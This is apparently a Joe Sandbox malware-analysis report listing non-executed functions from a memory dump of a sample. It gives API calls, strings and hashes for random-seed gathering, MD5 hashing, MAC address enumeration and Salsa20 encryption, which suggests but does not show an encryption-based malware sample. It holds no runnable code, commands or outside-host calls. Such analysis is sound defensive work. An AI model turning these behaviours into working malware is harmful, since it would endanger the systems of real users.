Not Executed

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000010,-00000400,-00000400), ref: 00412966

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: 9923f7c5fc9e2703d867ea7c919ad7633f5c387dee158893e4253aa1c6881e72
Instruction ID: 3b43283c781d39060a285e1a990033b4cd03b7dd602a36c1420ec248ee7b7319
Opcode Fuzzy Hash: 9923f7c5fc9e2703d867ea7c919ad7633f5c387dee158893e4253aa1c6881e72
Instruction Fuzzy Hash: 0411B171A00219EBDF00DF59DC41BDFBBA8EF05718F00452AF819A7280D7BE99558BDA

Non-executed Functions

Function 00481920 Relevance: 121.3, APIs: 41, Strings: 28, Instructions: 587libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(00000094), ref: 00481983
LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00481994
LoadLibraryA.KERNEL32(KERNEL32.DLL), ref: 004819A1
LoadLibraryA.KERNEL32(NETAPI32.DLL), ref: 004819AE
GetProcAddress.KERNEL32(00000000,NetStatisticsGet), ref: 004819E8
GetProcAddress.KERNEL32(?,NetApiBufferFree), ref: 004819FB
FreeLibrary.KERNEL32(?), ref: 00481AC5
GetProcAddress.KERNEL32(?,CryptAcquireContextW), ref: 00481ADB
GetProcAddress.KERNEL32(?,CryptGenRandom), ref: 00481AEE
GetProcAddress.KERNEL32(?,CryptReleaseContext), ref: 00481B01
FreeLibrary.KERNEL32(?), ref: 00481C15
LoadLibraryA.KERNEL32(USER32.DLL), ref: 00481C36
GetProcAddress.KERNEL32(00000000,GetForegroundWindow), ref: 00481C50
GetProcAddress.KERNEL32(?,GetCursorInfo), ref: 00481C63
GetProcAddress.KERNEL32(?,GetQueueStatus), ref: 00481C76
FreeLibrary.KERNEL32(?), ref: 00481D45
GetProcAddress.KERNEL32(?,CreateToolhelp32Snapshot), ref: 00481D73
GetProcAddress.KERNEL32(?,CloseToolhelp32Snapshot), ref: 00481D86
GetProcAddress.KERNEL32(?,Heap32First), ref: 00481D99
GetProcAddress.KERNEL32(?,Heap32Next), ref: 00481DAC
GetProcAddress.KERNEL32(?,Heap32ListFirst), ref: 00481DBF
GetProcAddress.KERNEL32(?,Heap32ListNext), ref: 00481DD2
GetProcAddress.KERNEL32(?,Process32First), ref: 00481DE5
GetProcAddress.KERNEL32(?,Process32Next), ref: 00481DF8
GetProcAddress.KERNEL32(?,Thread32First), ref: 00481E0B
GetProcAddress.KERNEL32(?,Thread32Next), ref: 00481E1E
GetProcAddress.KERNEL32(?,Module32First), ref: 00481E31
GetProcAddress.KERNEL32(?,Module32Next), ref: 00481E44
GetTickCount.KERNEL32 ref: 00481F03
GetTickCount.KERNEL32 ref: 00481FF1
GetTickCount.KERNEL32 ref: 00482066
GetTickCount.KERNEL32 ref: 00482095
GetTickCount.KERNEL32 ref: 004820FB
GetTickCount.KERNEL32 ref: 00482118
GetTickCount.KERNEL32 ref: 00482187
GetTickCount.KERNEL32 ref: 004821A4

Strings

$, xrefs: 00481F7E
Thread32Next, xrefs: 00481E13
Module32Next, xrefs: 00481E39
Heap32First, xrefs: 00481D8E
LanmanServer, xrefs: 00481A74
Process32Next, xrefs: 00481DED
NETAPI32.DLL, xrefs: 004819A9
GetCursorInfo, xrefs: 00481C58
GetQueueStatus, xrefs: 00481C6B
CloseToolhelp32Snapshot, xrefs: 00481D7B
Module32First, xrefs: 00481E26
CryptAcquireContextW, xrefs: 00481AD5
Heap32ListFirst, xrefs: 00481DB4
CryptReleaseContext, xrefs: 00481AF6
LanmanWorkstation, xrefs: 00481A26
USER32.DLL, xrefs: 00481C31
Heap32ListNext, xrefs: 00481DC7
KERNEL32.DLL, xrefs: 0048199C
GetForegroundWindow, xrefs: 00481C4A
CryptGenRandom, xrefs: 00481AE3
ADVAPI32.DLL, xrefs: 00481989
Heap32Next, xrefs: 00481DA1
NetStatisticsGet, xrefs: 004819E2
NetApiBufferFree, xrefs: 004819F0
CreateToolhelp32Snapshot, xrefs: 00481D67
Thread32First, xrefs: 00481E00
Process32First, xrefs: 00481DDA
Intel Hardware Cryptographic Service Provider, xrefs: 00481B9C

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: AddressProc$CountTick$Library$Load$Free$Version
String ID: $$ADVAPI32.DLL$CloseToolhelp32Snapshot$CreateToolhelp32Snapshot$CryptAcquireContextW$CryptGenRandom$CryptReleaseContext$GetCursorInfo$GetForegroundWindow$GetQueueStatus$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Intel Hardware Cryptographic Service Provider$KERNEL32.DLL$LanmanServer$LanmanWorkstation$Module32First$Module32Next$NETAPI32.DLL$NetApiBufferFree$NetStatisticsGet$Process32First$Process32Next$Thread32First$Thread32Next$USER32.DLL
API String ID: 842291066-1723836103
Opcode ID: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction ID: 1a290f2a1335d0d3a86819d1d60d6f49a84e0195e1de194fff26f42f4ca9d5b3
Opcode Fuzzy Hash: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction Fuzzy Hash: 683273B0E002299ADB61AF64CC45B9EB6B9FF45704F0045EBE60CE6151EB788E84CF5D

Function 00410FC0 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 149encryptionstringCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 00411010
__CxxThrowException@8.LIBCMT ref: 00411026

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0041103B
__CxxThrowException@8.LIBCMT ref: 00411051
lstrlenA.KERNEL32(?,00000000), ref: 00411059
CryptHashData.ADVAPI32(00000000,?,00000000,?,00000000), ref: 00411064
__CxxThrowException@8.LIBCMT ref: 0041107A
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,00000000,?,00000000), ref: 00411099
__CxxThrowException@8.LIBCMT ref: 004110AB
_memset.LIBCMT ref: 004110CA
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 004110DE
__CxxThrowException@8.LIBCMT ref: 004110F0
_malloc.LIBCMT ref: 00411100
_memset.LIBCMT ref: 0041110B
_sprintf.LIBCMT ref: 0041112E
lstrcatA.KERNEL32(?,?), ref: 0041113C
CryptDestroyHash.ADVAPI32(00000000), ref: 00411154
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0041115F

Strings

%.2X, xrefs: 00411128

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam_memset$AcquireCreateDataDestroyExceptionRaiseRelease_malloc_sprintflstrcatlstrlen
String ID: %.2X
API String ID: 2451520719-213608013
Opcode ID: 6f04bcb1d5af6720d81330ba6d25d2fff10d0e34b425382de5d36dfe67944e00
Instruction ID: afcee35d8fffc0279d29cc69f214b0122642615a52b78f57353c1cfd92a6c2ef
Opcode Fuzzy Hash: 6f04bcb1d5af6720d81330ba6d25d2fff10d0e34b425382de5d36dfe67944e00
Instruction Fuzzy Hash: 92516171E40219BBDB10DBE5DC46FEFBBB8FB08704F14012AFA05B6291D77959018BA9

Function 00411900 Relevance: 29.8, APIs: 16, Strings: 1, Instructions: 95stringmemorywindowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00411915
FormatMessageW.KERNEL32(00001300,00000000,?,00000400,?,00000000,00000000), ref: 00411932
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411941
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411948
LocalAlloc.KERNEL32(00000040,00000000,?,00000400,?,00000000,00000000), ref: 00411956
lstrcpyW.KERNEL32(00000000,?,?,00000400,?,00000000,00000000), ref: 00411962
lstrcatW.KERNEL32(00000000, failed with error ,?,00000400,?,00000000,00000000), ref: 00411974
lstrcatW.KERNEL32(00000000,?,?,00000400,?,00000000,00000000), ref: 0041198B
lstrcatW.KERNEL32(00000000,00500260,?,00000400,?,00000000,00000000), ref: 00411993
lstrcatW.KERNEL32(00000000,?,?,00000400,?,00000000,00000000), ref: 00411999
lstrlenW.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 004119A3
_memset.LIBCMT ref: 004119B8
lstrcpynW.KERNEL32(?,00000000,00000400,?,00000400,?,00000000,00000000), ref: 004119DC

Part of subcall function 00412BA0: lstrlenW.KERNEL32(?), ref: 00412BC9

LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411A01
LocalFree.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 00411A04

Strings

failed with error , xrefs: 0041196E

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: lstrcatlstrlen$Local$Free$AllocErrorFormatLastMessage_memsetlstrcpylstrcpyn
String ID: failed with error
API String ID: 4182478520-946485432
Opcode ID: 18b9b32fccc37a3c6be161fd0b5e4603234beec1f634f25e965e40264c5ea564
Instruction ID: 1677776e610180b78075291f83559cfdcc99dc463041ebd32873df59a21ecb07
Opcode Fuzzy Hash: 18b9b32fccc37a3c6be161fd0b5e4603234beec1f634f25e965e40264c5ea564
Instruction Fuzzy Hash: 0021FB31A40214B7D7516B929C85FAE3A38EF45B11F100025FB09B61D0DE741D419BED

Function 0040F730 Relevance: 29.2, APIs: 19, Instructions: 732COMMON

Download Yara Rule

APIs

Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411ACA
Part of subcall function 00411AB0: DispatchMessageW.USER32(?), ref: 00411AE0
Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411AEE

PathFindFileNameW.SHLWAPI(?,?,00000000,000000FF), ref: 0040F900
_memmove.LIBCMT ref: 0040F9EA
PathFindFileNameW.SHLWAPI(?,?,00000000,00000000,00000000,-00000002), ref: 0040FA51
_memmove.LIBCMT ref: 0040FADA

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Message$FileFindNamePathPeek_memmove$Dispatch
String ID:
API String ID: 273148273-0
Opcode ID: 9523524d8d3b45d9081d0fccdbbe5b8ea63895c3f5938442575e5094c992c0b6
Instruction ID: a2fe25dd57492d494e78aebb36a96054b80ce25314fb01b08d1ce03a62da89f0
Opcode Fuzzy Hash: 9523524d8d3b45d9081d0fccdbbe5b8ea63895c3f5938442575e5094c992c0b6
Instruction Fuzzy Hash: D652A271D00208DBDF20DFA4D985BDEB7B4BF05308F10817AE419B7291D779AA89CB99

Function 0040E870 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 165encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000,00000000), ref: 0040E8CE
__CxxThrowException@8.LIBCMT ref: 0040E8E4

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040E8F9
__CxxThrowException@8.LIBCMT ref: 0040E90F
CryptHashData.ADVAPI32(00000000,00000000,?,00000000), ref: 0040E928
__CxxThrowException@8.LIBCMT ref: 0040E93E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0040E95D
__CxxThrowException@8.LIBCMT ref: 0040E96F
_memset.LIBCMT ref: 0040E98E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040E9A2
__CxxThrowException@8.LIBCMT ref: 0040E9B4
_sprintf.LIBCMT ref: 0040E9D3

Strings

%.2X, xrefs: 0040E9CD

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: CryptException@8Throw$Hash$Param$AcquireContextCreateDataExceptionRaise_memset_sprintf
String ID: %.2X
API String ID: 1084002244-213608013
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 6020eefb82f776eec2353dc0ff897aa1862dcd4ecc30860888fbdadc8ba65bc1
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 835173B1E40209EBDF11DFA2DC46FEEBB78EB04704F10452AF501B61C1D7796A158BA9

Function 0040EAA0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 159encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000), ref: 0040EB01
__CxxThrowException@8.LIBCMT ref: 0040EB17

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040EB2C
__CxxThrowException@8.LIBCMT ref: 0040EB42
CryptHashData.ADVAPI32(00000000,?,?,00000000), ref: 0040EB4E
__CxxThrowException@8.LIBCMT ref: 0040EB64
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,?,00000000), ref: 0040EB83
__CxxThrowException@8.LIBCMT ref: 0040EB95
_memset.LIBCMT ref: 0040EBB4
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040EBC8
__CxxThrowException@8.LIBCMT ref: 0040EBDA
_sprintf.LIBCMT ref: 0040EBF4
CryptDestroyHash.ADVAPI32(00000000), ref: 0040EC44
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0040EC4F

Strings

%.2X, xrefs: 0040EBEE

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam$AcquireCreateDataDestroyExceptionRaiseRelease_memset_sprintf
String ID: %.2X
API String ID: 1637485200-213608013
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 14d7d02cf3c54262bdef7e6fa07b3cadf7b2b7504ea62fb0b9d39e8d8664034d
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: A6515371E40209ABDF11DBA6DC46FEFBBB8EB04704F14052AF505B62C1D77969058BA8

Function 004822E0 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 127windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004549A0: GetModuleHandleA.KERNEL32(?,?,00000001,?,00454B72), ref: 004549C7
Part of subcall function 004549A0: GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
Part of subcall function 004549A0: GetDesktopWindow.USER32 ref: 004549FB
Part of subcall function 004549A0: GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
Part of subcall function 004549A0: GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
Part of subcall function 004549A0: _wcsstr.LIBCMT ref: 00454A8A

CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00482316
CreateCompatibleDC.GDI32(00000000), ref: 00482323
GetDeviceCaps.GDI32(00000000,00000008), ref: 00482338
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00482341
CreateCompatibleBitmap.GDI32(00000000,?,00000010), ref: 0048234E
SelectObject.GDI32(00000000,00000000), ref: 0048235C
GetObjectA.GDI32(00000000,00000018,?), ref: 0048236E
BitBlt.GDI32(?,00000000,00000000,?,00000010,?,00000000,00000000,00CC0020), ref: 004823CA
GetBitmapBits.GDI32(?,?,00000000), ref: 004823D6
SelectObject.GDI32(?,?), ref: 00482436
DeleteObject.GDI32(00000000), ref: 0048243D
DeleteDC.GDI32(?), ref: 0048244A
DeleteDC.GDI32(?), ref: 00482450

Strings

DISPLAY, xrefs: 00482311
.\crypto\rand\rand_win.c, xrefs: 00482383

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Object$CreateDelete$BitmapCapsCompatibleDeviceInformationSelectUserWindow$AddressBitsDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: .\crypto\rand\rand_win.c$DISPLAY
API String ID: 151064509-1805842116
Opcode ID: 1b801d1ffbd88b82039091f0604768a30c592b3e6827ab76a1e426d578563625
Instruction ID: 00d76d2b57e2ae43ffa0e146b327d2d4306243c0a97269805a4caa25bb15a565
Opcode Fuzzy Hash: 1b801d1ffbd88b82039091f0604768a30c592b3e6827ab76a1e426d578563625
Instruction Fuzzy Hash: 0441BB71944300EBD3105BB6DC86F6FBBF8FF85B14F00052EFA54962A1E77598008B6A

Function 0040E670 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0040E67F

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00670000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040E68B
_wprintf.LIBCMT ref: 0040E69E
_free.LIBCMT ref: 0040E6A4

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6B9
_free.LIBCMT ref: 0040E6C5
_malloc.LIBCMT ref: 0040E6CD
GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6E0
_sprintf.LIBCMT ref: 0040E720
_wprintf.LIBCMT ref: 0040E732
_wprintf.LIBCMT ref: 0040E73C
_free.LIBCMT ref: 0040E745

Strings

Address: %s, mac: %s, xrefs: 0040E72D
Error allocating memory needed to call GetAdaptersinfo, xrefs: 0040E699
%02X:%02X:%02X:%02X:%02X:%02X, xrefs: 0040E71A

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$AdaptersHeapInfo$AllocateErrorFreeLast_sprintf
String ID: %02X:%02X:%02X:%02X:%02X:%02X$Address: %s, mac: %s$Error allocating memory needed to call GetAdaptersinfo
API String ID: 3901070236-1604013687
Opcode ID: 3662c7b498418dd0805699ed7e156d37d96e3abec8e0c242f5b97c865e313c7a
Instruction ID: 1f0497fb971ee708fef02f82321736b2a43cb7681c3985dbc626545fd8dc3fd8
Opcode Fuzzy Hash: 3662c7b498418dd0805699ed7e156d37d96e3abec8e0c242f5b97c865e313c7a
Instruction Fuzzy Hash: 251127B2A045647AC27162F76C02FFF3ADC8F45705F84056BFA98E1182EA5D5A0093B9

Function 00410160 Relevance: 26.2, APIs: 17, Instructions: 660COMMON

Download Yara Rule

APIs

Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411ACA
Part of subcall function 00411AB0: DispatchMessageW.USER32(?), ref: 00411AE0
Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411AEE

PathFindFileNameW.SHLWAPI(?,?,00000000), ref: 00410346
_memmove.LIBCMT ref: 00410427
PathFindFileNameW.SHLWAPI(?,?,00000000,00000000,00000000,-00000002), ref: 0041048E
_memmove.LIBCMT ref: 00410514

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Message$FileFindNamePathPeek_memmove$Dispatch
String ID:
API String ID: 273148273-0
Opcode ID: 5579d069003674f30fc20657d67551341dfb12f417424f211cabcd1385ef9a93
Instruction ID: 4d52a43d2e6eeb98f1fe08e229a92f838bd03635929547cf71b8ba18611ce854
Opcode Fuzzy Hash: 5579d069003674f30fc20657d67551341dfb12f417424f211cabcd1385ef9a93
Instruction Fuzzy Hash: EF429F70D00208DBDF14DFA4C985BDEB7F5BF04308F20456EE415A7291E7B9AA85CBA9

Function 0040FB98 Relevance: 15.3, APIs: 10, Instructions: 266stringCOMMON

Download Yara Rule

APIs

PathAppendW.SHLWAPI(?,?), ref: 0040FBD5
_memmove.LIBCMT ref: 0040FC3C
PathFileExistsW.SHLWAPI(?,?,?,?), ref: 0040FC63
_malloc.LIBCMT ref: 0040FC72
lstrcpyW.KERNEL32(00000000,?), ref: 0040FC8C
lstrcatW.KERNEL32(00000000,?), ref: 0040FCA5
_free.LIBCMT ref: 0040FCD7

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Path$AppendExistsFile_free_malloc_memmovelstrcatlstrcpy
String ID:
API String ID: 3232302685-0
Opcode ID: 8e7fd9746f064940cb66d6ef43538eded20f2cba022702fc4082d6d5591459cc
Instruction ID: e959444c36dd18fc08dff6604914d564c76187b82df2896015b22d61e5b1ffa1
Opcode Fuzzy Hash: 8e7fd9746f064940cb66d6ef43538eded20f2cba022702fc4082d6d5591459cc
Instruction Fuzzy Hash: 09B19F70D00208DBDF20DFA4D945BDEB7B5BF15308F50407AE40AAB291E7799A89CF5A

Function 004382A2 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcscmp.LIBCMT ref: 004382B9
_wcscmp.LIBCMT ref: 004382CA
GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,00438568,?,00000000), ref: 004382E6
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,00438568,?,00000000), ref: 00438310

Strings

OCP, xrefs: 004382C4
ACP, xrefs: 004382B3

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: InfoLocale_wcscmp
String ID: ACP$OCP
API String ID: 1351282208-711371036
Opcode ID: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction ID: cf0fde08c92294f7ab6fed71b02f11d94bd2ad82eb759ef3fcb1a01a65759ec5
Opcode Fuzzy Hash: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction Fuzzy Hash: FA01C431200615ABDB205E59DC45FD77798AB18B54F10806BF908DA252EF79DA41C78C

Function 0040C070 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 280COMMON

Download Yara Rule

APIs

__wassert.LIBCMT ref: 0040C09A

Strings

input != nullptr && output != nullptr, xrefs: 0040C095
e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl, xrefs: 0040C090

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: __wassert
String ID: e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl$input != nullptr && output != nullptr
API String ID: 3993402318-1975116136
Opcode ID: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction ID: 1562121ec4d7abfac7b8d7a3269f54288592c24a15d8ca99342f0f863a8d7c6a
Opcode Fuzzy Hash: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction Fuzzy Hash: 43C18C75E002599FCB54CFA9C885ADEBBF1FF48300F24856AE919E7301E334AA558B54

Function 00424168 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042419D
IsDebuggerPresent.KERNEL32(?,?,00000001), ref: 00424252

Strings

i;B, xrefs: 00424168

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: DebuggerPresent_memset
String ID: i;B
API String ID: 2328436684-472376889
